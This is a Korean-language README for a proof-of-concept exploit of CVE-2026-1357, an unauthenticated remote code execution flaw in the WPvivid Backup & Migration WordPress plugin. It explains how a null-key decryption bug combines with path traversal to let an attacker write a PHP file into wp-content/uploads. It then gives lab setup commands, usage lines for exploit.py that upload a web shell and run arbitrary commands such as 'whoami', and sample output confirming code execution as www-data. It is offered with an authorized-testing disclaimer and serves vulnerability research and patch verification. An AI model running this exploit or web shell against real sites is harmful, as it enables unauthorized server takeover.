
CVE-2026-1357 — WPvivid Backup & Migration ≤ 0.9.123 Unauthenticated RCE Exploit
인증되지 않은 임의 파일 업로드 → 원격 코드 실행
| 필드 | 값 |
|---|---|
| CVE | CVE-2026-1357 |
| CVSS | 9.8 (치명적) |
| 플러그인 | WPvivid Backup & Migration |
| 영향받는 버전 | ≤ 0.9.123 |
| 패치 버전 | 0.9.124 |
| 발견자 | Lucas Montes (NiRoX) |
| PoC 작성자 | halilkirazkaya |
WPvivid Backup & Migration 플러그인(≤ 0.9.123)에는 인증되지 않은 공격자가 서버에 임의의 PHP 파일을 업로드하여 **원격 코드 실행(RCE)**으로 이어질 수 있는 치명적인 취약점이 있습니다.
익스플로잇 체인은 두 가지 버그를 결합합니다:
플러그인은 wpvivid_action=send_to_site 훅을 통해 원격 백업 전송을 처리합니다. 세션 키를 복호화할 때 openssl_private_decrypt()는 잘못된 RSA 키에 대해 false를 반환합니다. 플러그인은 이 반환 값을 확인하지 않고 false를 phpseclib v1의 Crypt_Rijndael에 전달하며, Crypt_Rijndael은 CBC 모드와 null IV에서 false를 16바이트 널 키(\x00 × 16)로 취급합니다.
복호화된 JSON 페이로드의 name 매개변수는 필터링되지 않습니다. 공격자는 ../ 시퀀스를 사용하여 제한된 백업 디렉터리 밖의 공개적으로 접근 가능한 wp-content/uploads/ 디렉터리에 PHP 파일을 작성할 수 있습니다.
wpvivid_api_token은 플러그인 설정에서 생성되어 있어야 하며 만료되지 않아야 합니다.
WPvivid Backup & Migration v0.9.123(취약한 버전)을 다운로드하고 압축을 해제합니다:
wget https://downloads.wordpress.org/plugin/wpvivid-backuprestore.0.9.123.zip
unzip wpvivid-backuprestore.0.9.123.zip
이렇게 하면 docker-compose.yml을 통해 Docker 컨테이너에 마운트되는 wpvivid-backuprestore/ 디렉터리가 생성됩니다.
docker compose up -d
http://localhost를 열고 WordPress 설치를 완료합니다.pip install -r requirements.txt
# Check vulnerability only (uploads a harmless txt file and verifies MD5)
python3 exploit.py -u http://TARGET-URL -c
# Upload shell and run default command (id)
python3 exploit.py -u http://TARGET-URL -s
# Upload shell and run custom command
python3 exploit.py -u http://TARGET-URL -s "whoami"
[*] Target : http://localhost/
[*] Mode : Check
[*] Upload path : ../uploads/h8xq9b3v2z1c.txt
[+] Generating encrypted payload (AES-128-CBC, null key + null IV)...
[+] Payload size : 392 bytes (base64)
[+] Sending exploit via wpvivid_action=send_to_site ...
[+] Response : 200
[+] Body : {"result":"success","op":"finished"}
[+] Verifying at: http://localhost/wp-content/uploads/h8xq9b3v2z1c.txt
[✓] Vulnerability Confirmed! File content matches MD5.
[*] Target : http://localhost/
[*] Mode : Shell
[*] Upload path : ../uploads/wp6h68xnt1tyzbfx8qp3qdbx.php
[*] Verify cmd : id
[+] Generating encrypted payload (AES-128-CBC, null key + null IV)...
[+] Payload size : 392 bytes (base64)
[+] Sending exploit via wpvivid_action=send_to_site ...
[+] Response : 200
[+] Body : {"result":"success","op":"finished"}
[+] Verifying at: http://localhost/wp-content/uploads/wp6h68xnt1tyzbfx8qp3qdbx.php?cmd=id
[✓] RCE Confirmed!
[✓] Output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
이 도구는 승인된 보안 테스트 및 교육 목적으로만 제공됩니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다. 책임감 있게 사용하십시오.